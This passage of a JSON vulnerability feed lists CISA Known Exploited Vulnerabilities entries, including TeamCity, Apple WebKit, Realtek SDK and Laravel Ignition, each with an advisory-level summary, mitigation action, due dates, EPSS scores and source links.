unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00971,"percentile":0.61663,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-42824&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-42824","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-42824 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-42824&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-42824, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-28229","cveId":"CVE-2023-28229","aliases":[],"kind":"vulnerability","title":"Microsoft Windows CNG Key Isolation Service Privilege Escalation Vulnerability","summary":"Microsoft Windows Cryptographic Next Generation (CNG) Key Isolation Service contains an unspecified vulnerability that allows an attacker to gain specific limited SYSTEM privileges.","detail":"CISA added this entry on 2023-10-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-10-04","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows CNG Key Isolation Service","stacks":["Microsoft Windows","Microsoft","Windows CNG Key Isolation Service"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-04","dueAt":"2023-10-25","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01671,"percentile":0.76646,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-28229&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-28229","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-28229 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-28229&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-28229, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-42793","cveId":"CVE-2023-42793","aliases":[],"kind":"vulnerability","title":"JetBrains TeamCity Authentication Bypass Vulnerability","summary":"JetBrains TeamCity contains an authentication bypass vulnerability that allows for remote code execution on TeamCity Server.","detail":"CISA added this entry on 2023-10-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-10-04","updatedAt":null,"regions":["Global"],"vendor":"JetBrains","product":"TeamCity","stacks":["JetBrains TeamCity","JetBrains","TeamCity"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-04","dueAt":"2023-10-25","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99987,"percentile":0.99984,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-42793&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-42793","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-42793 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-42793&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-42793, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-4211","cveId":"CVE-2023-4211","aliases":[],"kind":"vulnerability","title":"Arm Mali GPU Kernel Driver Use-After-Free Vulnerability","summary":"Arm Mali GPU Kernel Driver contains a use-after-free vulnerability that allows a local, non-privileged user to make improper GPU memory processing operations to gain access to already freed memory.","detail":"CISA added this entry on 2023-10-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-10-03","updatedAt":null,"regions":["Global"],"vendor":"Arm","product":"Mali GPU Kernel Driver","stacks":["Arm","Mali GPU Kernel Driver"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-03","dueAt":"2023-10-24","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01098,"percentile":0.65406,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-4211&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-4211","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-4211 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-4211&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-4211, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-5217","cveId":"CVE-2023-5217","aliases":[],"kind":"vulnerability","title":"Google Chromium libvpx Heap Buffer Overflow Vulnerability","summary":"Google Chromium libvpx contains a heap buffer overflow vulnerability in vp8 encoding that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could impact web browsers using libvpx, including but not limited to Google Chrome.","detail":"CISA added this entry on 2023-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-10-02","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium libvpx","stacks":["Google Chrome","Google","Chromium libvpx"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-10-02","dueAt":"2023-10-23","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.49013,"percentile":0.98871,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-5217&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-5217","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-10-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-5217 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-5217&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-5217, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-14667","cveId":"CVE-2018-14667","aliases":[],"kind":"vulnerability","title":"Red Hat JBoss RichFaces Framework Expression Language Injection Vulnerability","summary":"Red Hat JBoss RichFaces Framework contains an expression language injection vulnerability via the UserResource resource. A remote, unauthenticated attacker could exploit this vulnerability to execute malicious code using a chain of Java serialized objects via org.ajax4jsf.resource.UserResource$UriData.","detail":"CISA added this entry on 2023-09-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-28","updatedAt":null,"regions":["Global"],"vendor":"Red Hat","product":"JBoss RichFaces Framework","stacks":["Red Hat Enterprise Linux","Red Hat","JBoss RichFaces Framework"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-28","dueAt":"2023-10-19","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.74202,"percentile":0.99483,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-14667&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-14667","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-14667 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-14667&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-14667, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-41991","cveId":"CVE-2023-41991","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Improper Certificate Validation Vulnerability","summary":"Apple iOS, iPadOS, macOS, and watchOS contain an improper certificate validation vulnerability that can allow a malicious app to bypass signature validation.","detail":"CISA added this entry on 2023-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-25","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-25","dueAt":"2023-10-16","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.1338,"percentile":0.96391,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-41991&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-41991","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-41991 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-41991&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-41991, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-41992","cveId":"CVE-2023-41992","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Kernel Privilege Escalation Vulnerability","summary":"Apple iOS, iPadOS, macOS, and watchOS contain an unspecified vulnerability that allows for local privilege escalation.","detail":"CISA added this entry on 2023-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-25","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-25","dueAt":"2023-10-16","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.09515,"percentile":0.95413,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-41992&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-41992","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-41992 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-41992&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-41992, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-41993","cveId":"CVE-2023-41993","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products WebKit Code Execution Vulnerability","summary":"Apple iOS, iPadOS, macOS, and Safari WebKit contain an unspecified vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2023-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-25","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Safari and WebKit","Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-25","dueAt":"2023-10-16","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.24349,"percentile":0.97851,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-41993&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-41993","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-41993 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-41993&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-41993, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-41179","cveId":"CVE-2023-41179","aliases":[],"kind":"vulnerability","title":"Trend Micro Apex One and Worry-Free Business Security Remote Code Execution Vulnerability","summary":"Trend Micro Apex One and Worry-Free Business Security contain an unspecified vulnerability in the third-party anti-virus uninstaller that could allow an attacker to manipulate the module to conduct remote code execution. An attacker must first obtain administrative console access on the target system in order to exploit this vulnerability.","detail":"CISA added this entry on 2023-09-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-21","updatedAt":null,"regions":["Global"],"vendor":"Trend Micro","product":"Apex One and Worry-Free Business Security","stacks":["Trend Micro","Apex One and Worry-Free Business Security"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-21","dueAt":"2023-10-12","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04251,"percentile":0.90983,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-41179&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-41179","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-41179 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-41179&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-41179, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-28434","cveId":"CVE-2023-28434","aliases":[],"kind":"vulnerability","title":"MinIO Security Feature Bypass Vulnerability","summary":"MinIO contains a security feature bypass vulnerability that allows an attacker to use crafted requests to bypass metadata bucket name checking and put an object into any bucket while processing `PostPolicyBucket` to conduct privilege escalation. To carry out this attack, the attacker requires credentials with `arn:aws:s3:::*` permission, as well as enabled Console API access.","detail":"CISA added this entry on 2023-09-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-19","updatedAt":null,"regions":["Global"],"vendor":"MinIO","product":"MinIO","stacks":["MinIO"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-19","dueAt":"2023-10-10","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07917,"percentile":0.94685,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-28434&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-28434","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-28434 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-28434&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-28434, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-8361","cveId":"CVE-2014-8361","aliases":[],"kind":"vulnerability","title":"Realtek SDK Improper Input Validation Vulnerability","summary":"Realtek SDK contains an improper input validation vulnerability in the miniigd SOAP service that allows remote attackers to execute malicious code via a crafted NewInternalClient request.","detail":"CISA added this entry on 2023-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-18","updatedAt":null,"regions":["Global"],"vendor":"Realtek","product":"SDK","stacks":["Realtek","SDK"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-18","dueAt":"2023-10-09","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99971,"percentile":0.99978,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-8361&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-8361","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-8361 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-8361&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-8361, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-6884","cveId":"CVE-2017-6884","aliases":[],"kind":"vulnerability","title":"Zyxel EMG2926 Routers Command Injection Vulnerability","summary":"Zyxel EMG2926 routers contain a command injection vulnerability located in the diagnostic tools, specifically the nslookup function. A malicious user may exploit numerous vectors to execute malicious commands on the router, such as the ping_ip parameter to the expert/maintenance/diagnostic/nslookup URI.","detail":"CISA added this entry on 2023-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-18","updatedAt":null,"regions":["Global"],"vendor":"Zyxel","product":"EMG2926 Routers","stacks":["Zyxel","EMG2926 Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-18","dueAt":"2023-10-09","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.32976,"percentile":0.98347,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-6884&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-6884","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-6884 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-6884&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-6884, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-3129","cveId":"CVE-2021-3129","aliases":[],"kind":"vulnerability","title":"Laravel Ignition File Upload Vulnerability","summary":"Laravel Ignition contains a file upload vulnerability that allows unauthenticated remote attackers to execute malicious code due to insecure usage of file_get_contents() and file_put_contents().","detail":"CISA added this entry on 2023-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-18","updatedAt":null,"regions":["Global"],"vendor":"Laravel","product":"Ignition","stacks":["Laravel","Ignition"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-18","dueAt":"2023-10-09","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99943,"percentile":0.99973,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-3129&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-3129","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-3129 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-3129&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-3129, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-22265","cveId":"CVE-2022-22265","aliases":[],"kind":"vulnerability","title":"Samsung Mobile Devices Use-After-Free Vulnerability","summary":"Samsung devices with selected Exynos chipsets contain a use-after-free vulnerability that allows malicious memory write and code execution.","detail":"CISA added this entry on 2023-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-18","updatedAt":null,"regions":["Global"],"vendor":"Samsung","product":"Mobile Devices","stacks":["Samsung mobile","Samsung","Mobile 